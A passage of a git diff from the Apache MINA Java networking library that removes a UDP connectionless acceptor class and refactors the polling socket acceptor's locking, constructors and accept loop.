org.apache.mina.core.write.WriteRequestQueue; -import org.apache.mina.util.ExceptionMonitor; - -/** - * {@link IoAcceptor} for datagram transport (UDP/IP). - * - * @author Apache MINA Project - * @org.apache.xbean.XBean - */ -public abstract class AbstractPollingConnectionlessIoAcceptor - extends AbstractIoAcceptor { - - private static final IoSessionRecycler DEFAULT_RECYCLER = new ExpiringSessionRecycler(); - - /** - * A timeout used for the select, as we need to get out to deal with idle - * sessions - */ - private static final long SELECT_TIMEOUT = 1000L; - - private final Object lock = new Object(); - private final IoProcessor processor = new ConnectionlessAcceptorProcessor(); - private final Queue registerQueue = - new ConcurrentLinkedQueue(); - private final Queue cancelQueue = - new ConcurrentLinkedQueue(); - private final Queue flushingSessions = new ConcurrentLinkedQueue(); - private final Map boundHandles = - Collections.synchronizedMap(new HashMap()); - - private IoSessionRecycler sessionRecycler = DEFAULT_RECYCLER; - - private final ServiceOperationFuture disposalFuture = - new ServiceOperationFuture(); - private volatile boolean selectable; - - /** The thread responsible of accepting incoming requests */ - private Acceptor acceptor; - - private long lastIdleCheckTime; - - private String getAddressAsString(SocketAddress address) { - InetAddress inetAddress = ((InetSocketAddress)address).getAddress(); - int port = ((InetSocketAddress)address).getPort(); - - String result = null; - - if ( inetAddress instanceof Inet4Address ) { - result = "/" + inetAddress.getHostAddress() + ":" + port; - } else { - // Inet6 - if ( ((Inet6Address)inetAddress).isIPv4CompatibleAddress() ) { - byte[] bytes = inetAddress.getAddress(); - - result = "/" + bytes[12] + "." + bytes[13] + "." + bytes[14] + "." + bytes[15] + ":" + port; - } else { - result = inetAddress.toString(); - } - } - - return result; - } - - /** - * Creates a new instance. - */ - protected AbstractPollingConnectionlessIoAcceptor(IoSessionConfig sessionConfig) { - this(sessionConfig, null); - } - - /** - * Creates a new instance. - */ - protected AbstractPollingConnectionlessIoAcceptor(IoSessionConfig sessionConfig, Executor executor) { - super(sessionConfig, executor); - - try { - init(); - selectable = true; - } catch (RuntimeException e) { - throw e; - } catch (Exception e) { - throw new RuntimeIoException("Failed to initialize.", e); - } finally { - if (!selectable) { - try { - destroy(); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } - } - } - } - - protected abstract void init() throws Exception; - protected abstract void destroy() throws Exception; - protected abstract int select() throws Exception; - protected abstract int select(long timeout) throws Exception; - protected abstract void wakeup(); - protected abstract Iterator selectedHandles(); - protected abstract H open(SocketAddress localAddress) throws Exception; - protected abstract void close(H handle) throws Exception; - protected abstract SocketAddress localAddress(H handle) throws Exception; - protected abstract boolean isReadable(H handle); - protected abstract boolean isWritable(H handle); - protected abstract SocketAddress receive(H handle, IoBuffer buffer) throws Exception; - protected abstract int send(T session, IoBuffer buffer, SocketAddress remoteAddress) throws Exception; - protected abstract T newSession(IoProcessor processor, H handle, SocketAddress remoteAddress) throws Exception; - protected abstract void setInterestedInWrite(T session, boolean interested) throws Exception; - - /** - * {@inheritDoc} - */ - @Override - protected void dispose0() throws Exception { - unbind(); - startupAcceptor(); - wakeup(); - } - - /** - * {@inheritDoc} - */ - @Override - protected final Set bindInternal( - List localAddresses) throws Exception { - // Create a bind request as a Future operation. When the selector - // have handled the registration, it will signal this future. - AcceptorOperationFuture request = new AcceptorOperationFuture(localAddresses); - - // adds the Registration request to the queue for the Workers - // to handle - registerQueue.add(request); - - // creates the Acceptor instance and has the local - // executor kick it off. - startupAcceptor(); - - // As we just started the acceptor, we have to unblock the select() - // in order to process the bind request we just have added to the - // registerQueue. - wakeup(); - - // Now, we wait until this request is completed. - request.awaitUninterruptibly(); - - if (request.getException() != null) { - throw request.getException(); - } - - // Update the local addresses. - // setLocalAddresses() shouldn't be called from the worker thread - // because of deadlock. - Set newLocalAddresses = new HashSet(); - - for (H handle : boundHandles.values()) { - newLocalAddresses.add(localAddress(handle)); - } - - return newLocalAddresses; - } - - /** - * {@inheritDoc} - */ - @Override - protected final void unbind0(List localAddresses) throws Exception { - AcceptorOperationFuture request = new AcceptorOperationFuture(localAddresses); - - cancelQueue.add(request); - startupAcceptor(); - wakeup(); - - request.awaitUninterruptibly(); - - if (request.getException() != null) { - throw request.getException(); - } - } - - /** - * {@inheritDoc} - */ - public final IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { - if (isDisposing()) { - throw new IllegalStateException("Already disposed."); - } - - if (remoteAddress == null) { - throw new IllegalArgumentException("remoteAddress"); - } - - synchronized (bindLock) { - if (!isActive()) { - throw new IllegalStateException( - "Can't create a session from a unbound service."); - } - - try { - return newSessionWithoutLock(remoteAddress, localAddress); - } catch (RuntimeException e) { - throw e; - } catch (Error e) { - throw e; - } catch (Exception e) { - throw new RuntimeIoException("Failed to create a session.", e); - } - } - } - - private IoSession newSessionWithoutLock( - SocketAddress remoteAddress, SocketAddress localAddress) throws Exception { - H handle = boundHandles.get(getAddressAsString(localAddress)); - - if (handle == null) { - throw new IllegalArgumentException("Unknown local address: " + localAddress); - } - - IoSession session; - IoSessionRecycler sessionRecycler = getSessionRecycler(); - - synchronized (sessionRecycler) { - session = sessionRecycler.recycle(localAddress, remoteAddress); - - if (session != null) { - return session; - } - - // If a new session needs to be created. - T newSession = newSession(processor, handle, remoteAddress); - getSessionRecycler().put(newSession); - session = newSession; - } - - initSession(session, null, null); - - try { - this.getFilterChainBuilder().buildFilterChain(session.getFilterChain()); - getListeners().fireSessionCreated(session); - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); - } - - return session; - } - - public final IoSessionRecycler getSessionRecycler() { - return sessionRecycler; - } - - public final void setSessionRecycler(IoSessionRecycler sessionRecycler) { - synchronized (bindLock) { - if (isActive()) { - throw new IllegalStateException( - "sessionRecycler can't be set while the acceptor is bound."); - } - - if (sessionRecycler == null) { - sessionRecycler = DEFAULT_RECYCLER; - } - - this.sessionRecycler = sessionRecycler; - } - } - - private class ConnectionlessAcceptorProcessor implements IoProcessor { - - public void add(T session) { - } - - public void flush(T session) { - if (scheduleFlush(session)) { - wakeup(); - } - } - - public void remove(T session) { - getSessionRecycler().remove(session); - getListeners().fireSessionDestroyed(session); - } - - public void updateTrafficControl(T session) { - throw new UnsupportedOperationException(); - } - - public void dispose() { - } - - public boolean isDisposed() { - return false; - } - - public boolean isDisposing() { - return false; - } - } - - /** - * Starts the inner Acceptor thread. - */ - private void startupAcceptor() { - if (!selectable) { - registerQueue.clear(); - cancelQueue.clear(); - flushingSessions.clear(); - } - - synchronized (lock) { - if (acceptor == null) { - acceptor = new Acceptor(); - executeWorker(acceptor); - } - } - } - - private boolean scheduleFlush(T session) { - // Set the schedule for flush flag if the session - // has not already be added to the flushingSessions - // queue - if (session.setScheduledForFlush(true)) { - flushingSessions.add(session); - return true; - } else { - return false; - } - } - - /** - * This private class is used to accept incoming connection from - * clients. It's an infinite loop, which can be stopped when all - * the registered handles have been removed (unbound). - */ - private class Acceptor implements Runnable { - public void run() { - int nHandles = 0; - lastIdleCheckTime = System.currentTimeMillis(); - - while (selectable) { - try { - int selected = select(SELECT_TIMEOUT); - - nHandles += registerHandles(); - - if (selected > 0) { - processReadySessions(selectedHandles()); - } - - long currentTime = System.currentTimeMillis(); - flushSessions(currentTime); - nHandles -= unregisterHandles(); - - notifyIdleSessions(currentTime); - - if (nHandles == 0) { - synchronized (lock) { - if (registerQueue.isEmpty() && cancelQueue.isEmpty()) { - acceptor = null; - break; - } - } - } - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - - try { - Thread.sleep(1000); - } catch (InterruptedException e1) { - } - } - } - - if (selectable && isDisposing()) { - selectable = false; - try { - destroy(); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } finally { - disposalFuture.setValue(true); - } - } - } - } - - @SuppressWarnings("unchecked") - private void processReadySessions(Iterator handles) { - while (handles.hasNext()) { - H h = handles.next(); - handles.remove(); - - try { - if (isReadable(h)) { - readHandle(h); - } - - if (isWritable(h)) { - for (IoSession session : getManagedSessions().values()) { - scheduleFlush((T) session); - } - } - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); - } - } - } - - private void readHandle(H handle) throws Exception { - IoBuffer readBuf = IoBuffer.allocate( - getSessionConfig().getReadBufferSize()); - - SocketAddress remoteAddress = receive(handle, readBuf); - - if (remoteAddress != null) { - IoSession session = newSessionWithoutLock( - remoteAddress, localAddress(handle)); - - readBuf.flip(); - - IoBuffer newBuf = IoBuffer.allocate(readBuf.limit()); - newBuf.put(readBuf); - newBuf.flip(); - - session.getFilterChain().fireMessageReceived(newBuf); - } - } - - private void flushSessions(long currentTime) { - for (;;) { - T session = flushingSessions.poll(); - - if (session == null) { - break; - } - - // Reset the Schedule for flush flag for this session, - // as we are flushing it now - session.unscheduledForFlush(); - - try { - boolean flushedAll = flush(session, currentTime); - if (flushedAll && !session.getWriteRequestQueue().isEmpty(session) && - !session.isScheduledForFlush()) { - scheduleFlush(session); - } - } catch (Exception e) { - session.getFilterChain().fireExceptionCaught(e); - } - } - } - - private boolean flush(T session, long currentTime) throws Exception { - // Clear OP_WRITE - setInterestedInWrite(session, false); - - final WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); - final int maxWrittenBytes = - session.getConfig().getMaxReadBufferSize() + - (session.getConfig().getMaxReadBufferSize() >>> 1); - - int writtenBytes = 0; - - try { - for (;;) { - WriteRequest req = session.getCurrentWriteRequest(); - - if (req == null) { - req = writeRequestQueue.poll(session); - if (req == null) { - break; - } - session.setCurrentWriteRequest(req); - } - - IoBuffer buf = (IoBuffer) req.getMessage(); - - if (buf.remaining() == 0) { - // Clear and fire event - session.setCurrentWriteRequest(null); - buf.reset(); - session.getFilterChain().fireMessageSent(req); - continue; - } - - SocketAddress destination = req.getDestination(); - - if (destination == null) { - destination = session.getRemoteAddress(); - } - - int localWrittenBytes = send(session, buf, destination); - - if (localWrittenBytes == 0 || writtenBytes >= maxWrittenBytes) { - // Kernel buffer is full or wrote too much - setInterestedInWrite(session, true); - return false; - } else { - setInterestedInWrite(session, false); - - // Clear and fire event - session.setCurrentWriteRequest(null); - writtenBytes += localWrittenBytes; - buf.reset(); - session.getFilterChain().fireMessageSent(req); - } - } - } finally { - session.increaseWrittenBytes(writtenBytes, currentTime); - } - - return true; - } - - private int registerHandles() { - for (;;) { - AcceptorOperationFuture req = registerQueue.poll(); - - if (req == null) { - break; - } - - Map newHandles = new HashMap(); - List localAddresses = req.getLocalAddresses(); - - try { - for (SocketAddress socketAddress : localAddresses) { - H handle = open(socketAddress); - newHandles.put(getAddressAsString(localAddress(handle)), handle); - } - - boundHandles.putAll(newHandles); - - getListeners().fireServiceActivated(); - req.setDone(); - - return newHandles.size(); - } catch (Exception e) { - req.setException(e); - } finally { - // Roll back if failed to bind all addresses. - if (req.getException() != null) { - for (H handle : newHandles.values()) { - try { - close(handle); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } - } - - wakeup(); - } - } - } - - return 0; - } - - private int unregisterHandles() { - int nHandles = 0; - - for (;;) { - AcceptorOperationFuture request = cancelQueue.poll(); - if (request == null) { - break; - } - - // close the channels - for (SocketAddress socketAddress : request.getLocalAddresses()) { - H handle = boundHandles.remove(getAddressAsString(socketAddress)); - - if (handle == null) { - continue; - } - - try { - close(handle); - wakeup(); // wake up again to trigger thread death - } catch (Throwable e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } finally { - nHandles++; - } - } - - request.setDone(); - } - - return nHandles; - } - - private void notifyIdleSessions(long currentTime) { - // process idle sessions - if (currentTime - lastIdleCheckTime >= 1000) { - lastIdleCheckTime = currentTime; - AbstractIoSession.notifyIdleness( - getListeners().getManagedSessions().values().iterator(), - currentTime); - } - } -} diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoAcceptor.java b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoAcceptor.java index 56f65fbf84..edae6f5bf5 100644 --- a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoAcceptor.java @@ -20,6 +20,10 @@ package org.apache.mina.core.polling; import java.net.SocketAddress; +import java.nio.channels.ClosedSelectorException; +import java.nio.channels.spi.SelectorProvider; +import java.util.ArrayList; +import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; @@ -32,10 +36,13 @@ import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.Executor; import java.util.concurrent.Executors; +import java.util.concurrent.Semaphore; +import java.util.concurrent.atomic.AtomicReference; import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.service.AbstractIoAcceptor; +import org.apache.mina.core.service.AbstractIoService; import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; @@ -43,6 +50,7 @@ import org.apache.mina.core.session.AbstractIoSession; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.session.IoSessionConfig; +import org.apache.mina.transport.socket.SocketSessionConfig; import org.apache.mina.transport.socket.nio.NioSocketAcceptor; import org.apache.mina.util.ExceptionMonitor; @@ -59,32 +67,40 @@ * by the subclassing implementation. * * @see NioSocketAcceptor for a example of implementation + * @param The type of IoHandler + * @param The type of IoSession * * @author Apache MINA Project */ -public abstract class AbstractPollingIoAcceptor - extends AbstractIoAcceptor { +public abstract class AbstractPollingIoAcceptor extends AbstractIoAcceptor { + /** A lock used to protect the selector to be waked up before it's created */ + private final Semaphore lock = new Semaphore(1); - private final IoProcessor processor; + private final IoProcessor processor; private final boolean createdProcessor; - private final Object lock = new Object(); + private final Queue registerQueue = new ConcurrentLinkedQueue<>(); - private final Queue registerQueue = new ConcurrentLinkedQueue(); + private final Queue cancelQueue = new ConcurrentLinkedQueue<>(); - private final Queue cancelQueue = new ConcurrentLinkedQueue(); - - private final Map boundHandles = Collections - .synchronizedMap(new HashMap()); + private final Map boundHandles = Collections.synchronizedMap(new HashMap<>()); private final ServiceOperationFuture disposalFuture = new ServiceOperationFuture(); /** A flag set when the acceptor has been created and initialized */ private volatile boolean selectable; - /** The thread responsible of accepting incoming requests */ - private Acceptor acceptor; + /** The thread responsible of accepting incoming requests */ + private AtomicReference acceptorRef = new AtomicReference<>(); + + protected boolean reuseAddress = false; + + /** + * Define the number of socket that can wait to be accepted. Default + * to 50 (as in the SocketServer default). + */ + protected int backlog = 50; /** * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a default @@ -99,10 +115,8 @@ public abstract class AbstractPollingIoAcceptor * @param processorClass a {@link Class} of {@link IoProcessor} for the associated {@link IoSession} * type. */ - protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, - Class> processorClass) { - this(sessionConfig, null, new SimpleIoProcessorPool(processorClass), - true); + protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, Class> processorClass) { + this(sessionConfig, null, new SimpleIoProcessorPool<>(processorClass), true, null); } /** @@ -119,10 +133,29 @@ protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, * type. * @param processorCount the amount of processor to instantiate for the pool */ - protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, - Class> processorClass, int processorCount) { - this(sessionConfig, null, new SimpleIoProcessorPool(processorClass, - processorCount), true); + protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, Class> processorClass, + int processorCount) { + this(sessionConfig, null, new SimpleIoProcessorPool<>(processorClass, processorCount), true, null); + } + + /** + * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a default + * session configuration, a class of {@link IoProcessor} which will be instantiated in a + * {@link SimpleIoProcessorPool} for using multiple thread for better scaling in multiprocessor + * systems. + * + * @see SimpleIoProcessorPool + * + * @param sessionConfig + * the default configuration for the managed {@link IoSession} + * @param processorClass a {@link Class} of {@link IoProcessor} for the associated {@link IoSession} + * type. + * @param processorCount the amount of processor to instantiate for the pool + * @param selectorProvider The SelectorProvider to use + */ + protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, Class> processorClass, + int processorCount, SelectorProvider selectorProvider ) { + this(sessionConfig, null, new SimpleIoProcessorPool<>(processorClass, processorCount, selectorProvider), true, selectorProvider); } /** @@ -130,61 +163,64 @@ protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, * session configuration, a default {@link Executor} will be created using * {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see AbstractIoService * * @param sessionConfig * the default configuration for the managed {@link IoSession} - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering - * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} + * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering + * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} */ - protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, - IoProcessor processor) { - this(sessionConfig, null, processor, false); + protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, IoProcessor processor) { + this(sessionConfig, null, processor, false, null); } /** - * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a default - * session configuration and an {@link Executor} for handling I/O events. If a - * null {@link Executor} is provided, a default one will be created using - * {@link Executors#newCachedThreadPool()}. + * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a + * default session configuration and an {@link Executor} for handling I/O + * events. If a null {@link Executor} is provided, a default one will be + * created using {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} * @param executor - * the {@link Executor} used for handling asynchronous execution of I/O - * events. Can be null. - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering - * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} - */ - protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, - Executor executor, IoProcessor processor) { - this(sessionConfig, executor, processor, false); + * the {@link Executor} used for handling asynchronous execution + * of I/O events. Can be null. + * @param processor + * the {@link IoProcessor} for processing the {@link IoSession} + * of this transport, triggering events to the bound + * {@link IoHandler} and processing the chains of + * {@link IoFilter} + */ + protected AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor) { + this(sessionConfig, executor, processor, false, null); } /** - * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a default - * session configuration and an {@link Executor} for handling I/O events. If a - * null {@link Executor} is provided, a default one will be created using - * {@link Executors#newCachedThreadPool()}. + * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a + * default session configuration and an {@link Executor} for handling I/O + * events. If a null {@link Executor} is provided, a default one will be + * created using {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see #AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} * @param executor - * the {@link Executor} used for handling asynchronous execution of I/O - * events. Can be null. - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of - * this transport, triggering events to the bound {@link IoHandler} and processing - * the chains of {@link IoFilter} - * @param createdProcessor tagging the processor as automatically created, so it - * will be automatically disposed - */ - private AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, - Executor executor, IoProcessor processor, - boolean createdProcessor) { + * the {@link Executor} used for handling asynchronous execution + * of I/O events. Can be null. + * @param processor + * the {@link IoProcessor} for processing the {@link IoSession} + * of this transport, triggering events to the bound + * {@link IoHandler} and processing the chains of + * {@link IoFilter} + * @param createdProcessor + * tagging the processor as automatically created, so it will be + * automatically disposed + */ + private AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor, + boolean createdProcessor, SelectorProvider selectorProvider) { super(sessionConfig, executor); if (processor == null) { @@ -196,8 +232,8 @@ private AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, try { // Initialize the selector - init(); - + init(selectorProvider); + // The selector is now ready, we can switch the // flag to true so that incoming connection can be accepted selectable = true; @@ -218,13 +254,21 @@ private AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, /** * Initialize the polling system, will be called at construction time. - * @throws Exception any exception thrown by the underlying system calls + * @throws Exception any exception thrown by the underlying system calls */ protected abstract void init() throws Exception; + /** + * Initialize the polling system, will be called at construction time. + * + * @param selectorProvider The Selector Provider that will be used by this polling acceptor + * @throws Exception any exception thrown by the underlying system calls + */ + protected abstract void init(SelectorProvider selectorProvider) throws Exception; + /** * Destroy the polling system, will be called when this {@link IoAcceptor} - * implementation will be disposed. + * implementation will be disposed. * @throws Exception any exception thrown by the underlying systems calls */ protected abstract void destroy() throws Exception; @@ -268,13 +312,12 @@ private AbstractPollingIoAcceptor(IoSessionConfig sessionConfig, /** * Accept a client connection for a server socket and return a new {@link IoSession} * associated with the given {@link IoProcessor} - * @param processor the {@link IoProcessor} to associate with the {@link IoSession} + * @param processor the {@link IoProcessor} to associate with the {@link IoSession} * @param handle the server handle * @return the created {@link IoSession} * @throws Exception any exception thrown by the underlying systems calls */ - protected abstract T accept(IoProcessor processor, H handle) - throws Exception; + protected abstract S accept(IoProcessor processor, H handle) throws Exception; /** * Close a server socket. @@ -293,31 +336,43 @@ protected void dispose0() throws Exception { startupAcceptor(); wakeup(); } + + /** + * Invoked when a bind request has been registered for processing. The default implementation does nothing. + */ + protected void bindRequestAdded() { + // Nothing + } /** * {@inheritDoc} */ @Override - protected final Set bindInternal( - List localAddresses) throws Exception { + protected final Set bindInternal(List localAddresses) throws Exception { // Create a bind request as a Future operation. When the selector // have handled the registration, it will signal this future. - AcceptorOperationFuture request = new AcceptorOperationFuture( - localAddresses); + AcceptorOperationFuture request = new AcceptorOperationFuture(localAddresses); // adds the Registration request to the queue for the Workers // to handle registerQueue.add(request); - + bindRequestAdded(); + // creates the Acceptor instance and has the local // executor kick it off. startupAcceptor(); - + // As we just started the acceptor, we have to unblock the select() - // in order to process the bind request we just have added to the + // in order to process the bind request we just have added to the // registerQueue. - wakeup(); - + try { + lock.acquire(); + + wakeup(); + } finally { + lock.release(); + } + // Now, we wait until this request is completed. request.awaitUninterruptibly(); @@ -328,9 +383,9 @@ protected final Set bindInternal( // Update the local addresses. // setLocalAddresses() shouldn't be called from the worker thread // because of deadlock. - Set newLocalAddresses = new HashSet(); - - for (H handle:boundHandles.values()) { + Set newLocalAddresses = new HashSet<>(); + + for (H handle : boundHandles.values()) { newLocalAddresses.add(localAddress(handle)); } @@ -345,7 +400,7 @@ protected final Set bindInternal( * is now working, then nothing will happen and the method * will just return. */ - private void startupAcceptor() { + private void startupAcceptor() throws InterruptedException { // If the acceptor is not ready, clear the queues // TODO : they should already be clean : do we have to do that ? if (!selectable) { @@ -354,10 +409,16 @@ private void startupAcceptor() { } // start the acceptor if not already started - synchronized (lock) { - if (acceptor == null) { - acceptor = new Acceptor(); + Acceptor acceptor = acceptorRef.get(); + + if (acceptor == null) { + lock.acquire(); + acceptor = new Acceptor(); + + if (acceptorRef.compareAndSet(null, acceptor)) { executeWorker(acceptor); + } else { + lock.release(); } } } @@ -366,10 +427,8 @@ private void startupAcceptor() { * {@inheritDoc} */ @Override - protected final void unbind0(List localAddresses) - throws Exception { - AcceptorOperationFuture future = new AcceptorOperationFuture( - localAddresses); + protected final void unbind0(List localAddresses) throws Exception { + AcceptorOperationFuture future = new AcceptorOperationFuture(localAddresses); cancelQueue.add(future); startupAcceptor(); @@ -381,6 +440,52 @@ protected final void unbind0(List localAddresses) } } + /** + * Handles new incoming connections by accepting the connections and creating new sessions for them. + * + * @param handles the connection handles to accept and create new sessions for + * @throws Exception on errors + */ + @SuppressWarnings("unchecked") + protected void processHandles(Iterator handles) throws Exception { + while (handles.hasNext()) { + H handle = handles.next(); + handles.remove(); + + // Associates a new created connection to a processor, + // and get back a session + S session = accept(processor, handle); + + if (session == null) { + continue; + } + + initSession(session, null, null); + + // add the session to the SocketIoProcessor + session.getProcessor().add(session); + } + } + + /** + * Tells whether there are pending unbindings. + * + * @return {@code true} if there are any unbindings pending; {@code false} otherwise + */ + protected boolean hasUnbindings() { + return !cancelQueue.isEmpty(); + } + + /** + * Processes the futures for executed unbindings, marking all futures as done. + * + * @param unboundFutures describing the unbindings + * @throws Exception on errors + */ + protected void handleUnbound(Collection unboundFutures) throws Exception { + unboundFutures.forEach(AcceptorOperationFuture::setDone); + } + /** * This class is called by the startupAcceptor() method and is * placed into a NamePreservingRunnable class. @@ -388,44 +493,68 @@ protected final void unbind0(List localAddresses) * The loop is stopped when all the bound handlers are unbound. */ private class Acceptor implements Runnable { + /** + * {@inheritDoc} + */ + @Override public void run() { + assert acceptorRef.get() == this; + int nHandles = 0; + // Release the lock + lock.release(); + while (selectable) { try { + // Process the bound sockets to this acceptor. + // this actually sets the selector to OP_ACCEPT, + // and binds to the port on which this class will + // listen on. We do that before the select because + // the registerQueue containing the new handler is + // already updated at this point. + nHandles += registerHandles(); + // Detect if we have some keys ready to be processed // The select() will be woke up if some new connection // have occurred, or if the selector has been explicitly // woke up int selected = select(); - // this actually sets the selector to OP_ACCEPT, - // and binds to the port on which this class will - // listen on - nHandles += registerHandles(); + // Now, if the number of registered handles is 0, we can + // quit the loop: we don't have any socket listening + // for incoming connection. + if (nHandles == 0) { + acceptorRef.set(null); + + if (registerQueue.isEmpty() && cancelQueue.isEmpty()) { + assert acceptorRef.get() != this; + break; + } + + if (!acceptorRef.compareAndSet(null, this)) { + assert acceptorRef.get() != this; + break; + } + + assert acceptorRef.get() == this; + } if (selected > 0) { - // We have some connection request, let's process - // them here. + // We have some connection request, let's process + // them here. processHandles(selectedHandles()); } // check to see if any cancellation request has been made. - nHandles -= unregisterHandles(); - - // Now, if the number of registred handles is 0, we can - // quit the loop: we don't have any socket listening - // for incoming connection. - if (nHandles == 0) { - synchronized (lock) { - if (registerQueue.isEmpty() - && cancelQueue.isEmpty()) { - acceptor = null; - break; - } - } - } - } catch (Throwable e) { + Collection cancellations = new ArrayList<>(); + nHandles -= unregisterHandles(cancellations); + handleUnbound(cancellations); + } catch (ClosedSelectorException cse) { + // If the selector has been closed, we can exit the loop + ExceptionMonitor.getInstance().exceptionCaught(cse); + break; + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); try { @@ -460,139 +589,165 @@ public void run() { } /** - * This method will process new sessions for the Worker class. All - * keys that have had their status updates as per the Selector.selectedKeys() - * method will be processed here. Only keys that are ready to accept - * connections are handled here. + * Sets up the socket communications. Sets items such as: *

- * Session objects are created by making new instances of SocketSessionImpl - * and passing the session object to the SocketIoProcessor class. + * Blocking + * Reuse address + * Receive buffer size + * Bind to listen port + * Registers OP_ACCEPT for selector */ - @SuppressWarnings("unchecked") - private void processHandles(Iterator handles) throws Exception { - while (handles.hasNext()) { - H handle = handles.next(); - handles.remove(); - - // Associates a new created connection to a processor, - // and get back a session - T session = accept(processor, handle); - - if (session == null) { - break; + private int registerHandles() { + for (;;) { + // The register queue contains the list of services to manage + // in this acceptor. + AcceptorOperationFuture future = registerQueue.poll(); + + if (future == null) { + return 0; } - initSession(session, null, null); + // We create a temporary map to store the bound handles, + // as we may have to remove them all if there is an exception + // during the sockets opening. + Map newHandles = new ConcurrentHashMap<>(); + List localAddresses = future.getLocalAddresses(); - // add the session to the SocketIoProcessor - session.getProcessor().add(session); - } - } - } + try { + // Process all the addresses + for (SocketAddress a : localAddresses) { + H handle = open(a); + newHandles.put(localAddress(handle), handle); + } - /** - * Sets up the socket communications. Sets items such as: - *

- * Blocking - * Reuse address - * Receive buffer size - * Bind to listen port - * Registers OP_ACCEPT for selector - */ - private int registerHandles() { - for (;;) { - // The register queue contains the list of services to manage - // in this acceptor. - AcceptorOperationFuture future = registerQueue.poll(); - - if (future == null) { - return 0; + // Everything went ok, we can now update the map storing + // all the bound sockets. + boundHandles.putAll(newHandles); + + // and notify. + future.setDone(); + + return newHandles.size(); + } catch (Exception e) { + // We store the exception in the future + future.setException(e); + } finally { + // Roll back if failed to bind all addresses. + if (future.getException() != null) { + for (H handle : newHandles.values()) { + try { + close(handle); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } + } + + // Wake up the selector to be sure we will process the newly bound handle + // and not block forever in the select() + wakeup(); + } + } } + } - // We create a temporary map to store the bound handles, - // as we may have to remove them all if there is an exception - // during the sockets opening. - Map newHandles = new ConcurrentHashMap(); - List localAddresses = future.getLocalAddresses(); - - try { - // Process all the addresses - for (SocketAddress a : localAddresses) { - H handle = open(a); - newHandles.put(localAddress(handle), handle); + /** + * This method just checks to see if anything has been placed into the + * cancellation queue. The only thing that should be in the cancelQueue + * is CancellationRequest objects and the only place this happens is in + * the doUnbind() method. + */ + private int unregisterHandles(Collection cancelled) { + int cancelledHandles = 0; + for (;;) { + AcceptorOperationFuture future = cancelQueue.poll(); + if (future == null) { + break; } - // Everything went ok, we can now update the map storing - // all the bound sockets. - boundHandles.putAll(newHandles); - - // and notify. - future.setDone(); - return newHandles.size(); - } catch (Exception e) { - // We store the exception in the future - future.setException(e); - } finally { - // Roll back if failed to bind all addresses. - if (future.getException() != null) { - for (H handle : newHandles.values()) { - try { - close(handle); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } + // close the channels + for (SocketAddress a : future.getLocalAddresses()) { + H handle = boundHandles.remove(a); + + if (handle == null) { + continue; + } + + try { + close(handle); + wakeup(); // wake up again to trigger thread death + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + cancelledHandles++; } - - // TODO : add some comment : what is the wakeup() waking up ? - wakeup(); } + + cancelled.add(future); } + + return cancelledHandles; } } /** - * This method just checks to see if anything has been placed into the - * cancellation queue. The only thing that should be in the cancelQueue - * is CancellationRequest 